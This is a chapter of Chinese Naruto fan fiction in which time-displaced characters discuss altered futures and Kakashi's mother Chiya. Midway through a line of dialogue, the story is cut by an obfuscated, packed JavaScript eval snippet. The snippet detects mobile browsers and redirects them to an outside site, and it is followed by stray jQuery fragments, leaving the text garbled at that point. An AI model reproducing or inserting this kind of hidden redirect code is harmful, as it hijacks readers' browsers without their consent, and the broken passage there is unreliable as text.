未来充满了疑点。
无论是千手扉间在战后忽然退位,还是三代出手压下千弥的死因,亦或是旗木卡卡西那小子的身份,总之全部都充满了谜团。
搞什么啊,木叶什么时候变成了雾隐村?
辻看着不远处正和前线同伴交换情报的便宜婿养子出神。二代时期的事水门年龄尚小,不了解内情也情有可原,但这小子情报搜集能力的发掘空间未免太大了。
“木叶的人手已经紧缺到这个地步,连下忍都派出来接这种危险任务了吗?”看着波风水门给三个弟子安排任务,辻语气夸张地惊叹。
“其他前辈们此刻正在别的战场作战。”波风水门正要介绍当下木叶的战况,就被带土打断。
“这个年轻老爷爷你说谁是下忍啊!可恶!”他可是好不容易才顺利通过考核,晋升成为中忍的!被琳从后面抱住仍倔强地跺脚抗议的宇智波带土手臂像螃蟹一样不断挥舞。
“被戳到痛处了吗?像蒸屉里的螃蟹一样呢。咚咚嘭~”辻模仿带土手臂的动作,两根手指化作蟹钳不停地开开合合。
“你们三个,医疗忍者除外,你们两个,三、流、中、忍~医疗忍者在战场上往往是敌人击杀的优先目标,小油彩也要锻炼出自保能力,努力向纲手看齐,不然会很危险的。”
辻语气恶劣地着说出让带土羞愤交加的话,“我可是都看到了哦,战场上发抖的小宇智波还有榆木脑袋没有应变力的小旗木。”
“绝对会死的。”躺回去的辻不再搭理一旁聒噪的炸毛蛐蛐。
波风水门按住还要反驳的带土,拜托琳将人带走,苦笑着接受批评。
“总之,无论辻大人回去后准备做什么,请务必告诉17岁的我,一定不要在那一年随着自来也老师去妙木山修行。”
“不为自己的时空担心吗?站在你面前的可是疑似将要导致世界剧变的魔鬼哦!”辻懒懒地看着远处来来往往的忍者,视线却没有焦点,情报还是太少了。
【书中世界】的过去对未来的影响究竟是线性覆盖还是像真正的文学创作那样衍生出两种不同的分支?他完全不知道。
谁来给他一个贝加庞克啊!科学家、科学家……没有贝加庞克,等回去之后就好好麻烦扉间吧!飞雷神不就是与空间相关的时空间忍术吗!
“不,我已经做好了觉悟。”波风水门眸光闪烁,豁然道,“如果辻大人和朔茂前辈回去后能够改变那个糟糕的过去,即使我们的世界悄然湮灭于时空也不要紧。因为一定会有一个更好的未来将我们替代。”
“倘若我们的世界不幸成为了被大树遗忘的一截枯枝,我也会拼尽全力直到生命的最后一秒,然后在净土与千弥、与大家重逢。”
他会当上第四代火影,然后把在任期间木叶村发生的所有变革和有趣的故事全部一字不落地讲给千弥听。约定好了。
“真是乐观呢。”辻看着对方指尖捻出的绿色汁液叹气,扬声道,“大旗木和小旗木你们呢?你老爸看着不想要你咯,小稻草人不考虑一下这位优秀的继父吗?”
被疑似爷爷或是祖父的人批评,原本认真反思不足的旗木卡卡西闻言猛地扭头看向父亲。
旗木朔茂则是迅速把头埋进胸前做鸵鸟状。
是扼杀卡卡西出生的可能性还是和千弥结婚……无论选择哪一个未来对现在的他而言都太超过了,他的良心在打架。
未来的自己是被狗啃了脑子吗?旗木朔茂逃避地心想——如果不是自己而是镜前辈和辻大人一起来这个世界就好了。
“竟然还在逃避吗?”辻起身拍拍身上的草屑走到旗木鸵鸟身前,惊奇地俯下身仔细看清情况后又无奈地安慰道,“你的选择都有意义。”
“呜……”
眼眶通红的旗木朔茂刚抬起头,便被身量纤细的少年卡卡西强行霸占了全部视野。
“帕克说母亲曾把父亲当成神明,要是敢因为惧怕未来这种无理的理由,随便找个人结婚生子……”
被儿子(未来版)居高临下地俯视的旗木朔茂:他已经不敢结婚了。未来、好可怕……
父亲年轻时竟是这幅没出息的模样吗?
刚刚的话连威胁都算不上,竟然做出这种反应。双手叉腰的卡卡西斜着眼,使用出敬语消失术,“你说过你很爱很爱母亲。”
特别着重强调的音节让旗木朔茂听后未被扎起来的零碎散发像烧焦了似的打卷。这竟然是未来的旗木朔茂说出的话!他觉得自己裂成了两半。一半在脑中大喊仁义道德,另一半则是在痛斥未来的自己。
“哦呀~很爱很爱吗?”手已经插兜里的辻站在卡卡西身边,同样居高临下地俯视,只是腔调远没有卡卡西严肃正经,玩味百分百,“人不可貌相呢,朔茂kun,没想到男大也会十八变。”
“呜……”
挣扎一下的旗木朔茂抬头想辩解什么,但在看到辻身边活生生的铁证后,所有未说出口的言语化作了一声痛苦的呻吟。
“我说了哦,你的选择都有意义。”
旗木朔茂用力攥着膝盖上的布料,嗫嚅低语,“哪怕千弥……”
没见过千弥的卡卡西……他心中有一个糟糕至极的猜想。
看着站姿像松柏一样挺拔的小旗木,辻冷声道,“我不会干涉千弥的决定,我想做的也不是扼杀生命。如果真是这个原因,你应该已经有挽救未来的觉悟了。”
事实上,他直觉情况绝不会这么简单。否则三代完全没有理由去遮掩千弥的信息。
“要替我保护好千弥啊。”
趁人陷入混乱张口就开始坑人,顺带着给千弥上保险的辻用力拍打旗木朔茂的肩膀把老实人带进漩涡,“别小看水门哦,哪怕结婚了也要小心未来被离婚。”
波风水门听到自己的名字,抬头扬起一抹微笑。
未婚甚至连恋爱史都一片空白却要面对强大“情敌”的旗木朔茂:“……”
看看辻又看看父亲再看看水门老师,旗木卡卡西十分自然地站在了父亲的对立面,“遇事不决,缺乏决断力,还没有开战就疑似缴械投降,您在竞争者中唯一的优势大概就是能父凭子贵了。”
被儿子(未来版)指责只能“凭子上位”的旗木朔茂捂着肚子,说不清具体哪一处在抽痛,“事实上,我做饭也……”
“水门老师的厨艺也很好。”卡卡西冷酷地打断父亲的话。
“我可是和千弥一起生活了十几年的优秀煮夫。”波风水门走上前骄傲地为自己的厨艺水平佐证。
现在的年轻后辈压迫感好强。
老实人嘴唇嗫嚅,不再说话。
他的优点……他似乎没有优点。不仅如此,年龄还大。
只是想想,旗木朔茂身后的背景板就长出了一串串忧郁的黑线。
“看上去被打击得体无完肤呢。”辻感叹。
“到时间了。”感觉到自己的身体虚化了一秒,辻按住旗木朔茂的肩膀,正色道,“别走散了。”
“违抗命令、让自己身负重伤,只为了带回死去同伴的尸体,这样做值得吗?”
大步走上前的旗木卡卡西死死地盯着因为自己的问题有些呆愣的旗木朔茂。
旗木朔茂一时无言,未来的自己和现在的自己差别太大了,但如果是现在的他——
“未来一定是发生了什么事改变了我吧。对不起,哪怕同为一个人,我也无法认同未来的旗木朔茂这样的做法。现在的我认为活下去并保护更多活着的同伴更重要。”
“如果有机会,未来的我观念发生变化时,我会记得向你解释的。”迅速拥抱住泪流不止的旗木卡卡西,旗木朔茂收回手再次变成鸵鸟。
“有人刚刚说出了很像样的话呢。嘛~虽然只争气了短短几秒。”
身体泛着光的辻看着眼前的师徒二人笑着落下一句祝福,同旗木朔茂消失在原地。
“过去如果改变了,我们的世界会变成什么样呢?水门老师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055263|194874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”见过了少年时期的父亲,他忽然很怀疑自己还能不能出生。
“不知道。不过当下才是最重要的,就把这当做一场奇遇吧,卡卡西。”波风水门看着旗木卡卡西,“要和我一起生活吗?有关千弥的事,我这边有好多故事可以讲给你听。”
“关于那个婿、婿……"旗木卡卡西实在说不出口,考虑到父亲、母亲还有老师的年龄,他莫名地生出一种自己的父亲……翘了老师墙角的感觉。父辈们的纠葛似乎远比他想象得要复杂。
“没错哦!”迎着旗木卡卡西因惊愕而睁大的黑黝黝的眼睛,波风水门一脸坦荡,“玖辛奈也可以作证。虽然她一直不肯承认我的身份。好狡猾啊,仗着同族的关系,一直认为自己和千弥的关系更亲近。”
关于母亲的事,旗木卡卡西大多是从忍犬们口中得知的。他曾忍不住询问父亲,但在夜间看到过悄悄地背着自己无声流泪的脆弱身影后好奇的次数就少了。
“听起来,母亲似乎很受欢迎。”旗木卡卡西斟酌着做出评价。
“事实上,千弥受欢迎到让……我感到苦恼。”挠挠头发的波风水门干笑两声。
在忍者学校,无论是体术练习,还是跨年级的联合演习都完完全全被针对了,他根本没机会和千弥组队!
至于毕业后不同下忍小队执行合作任务……那个时候第二次忍界大战爆发了,更没有了机会。不仅如此,千弥还比自己早一届毕业,更早成为中忍、提拔成为上忍……
“说起来,千弥和卡卡西完全不一样,但某些方面又完全一样呢。”波风水门看着夜空一闪而逝的流星感叹。
坐在草地上的卡卡西闻言抬头。
“千弥11岁就晋升成为了上忍哦,比卡卡西还早,也是大家口中的天才。但与此同时,忍者学校文化课有史以来的最低分也是千弥创下的。”
“最低分?!”旗木卡卡西大惊失色,文化课那些题目不是写了就给分吗?
“传说中的60.5就是千弥。”时隔十数年的往事被重提,波风水门忽然发现那些记忆清晰得恍如昨日。
为了让千弥顺利提前毕业,老师们可是赤红着眼、咬紧牙关才勉强地给写满了宇智波柱间、猿飞斑、千手鸢喇嘛和其他排列组合得出的乱七八糟名字的空格一半分,至于那些看了让人血压飙升的开放题则是掐着合格线给出了相应的分数。
以四舍五入计分规则给出古蹊千弥高达60.5的低分是木叶忍者学校教师们最后的反抗。
“那个据说是靠走后门才顺利毕业的老师们口中的传说中的压分王竟然是那么厉害的人?!”不小心踩了一脚泥团,一路滑跪到老师身前的宇智波带土耳尖通红地把脸埋进地里。
“我看走后门的是你吧。”双手抱臂的死鱼眼卡卡西堂堂登场!
“千弥很有趣吧,当初可是让文化课老师们超级苦恼的No.1。不过,我听闻带土也成功后来者居上了哦!相当厉害呢~”
“那种成功我才不要呢!”被鄙视的宇智波把插进地里的脑袋拔出来,顶着一头的泥大声反驳。
水门老师……是腹黑呢。双手搭在膝上安静地听故事的琳仿佛看穿了一切。
……
“我们是回来了没错,但镜呢?”
大漠上的风吹过,古蹊辻和旗木朔茂望着漫天繁星,相顾无言。
“朔茂!辻大人!”宇智波镜恍如隔世般看着正在不远处忙着安营扎寨的两人,看清了周围后瞬身到两人身畔,“好久不见!”
“好久……你的经历似乎相当丰富多彩啊。”注意到镜的用语,辻递出烤得热乎乎还泛着焦香的馍。
“多谢。”宇智波镜接过食物,微笑道,“这是一场永生难忘的旅行。”
“是吗?总之欢迎回来哦,镜!”
“我回来了!辻大人!”
旗木朔茂:……
总感觉那两个人融洽的过分,错觉吗?前辈的性格似乎开朗了不少。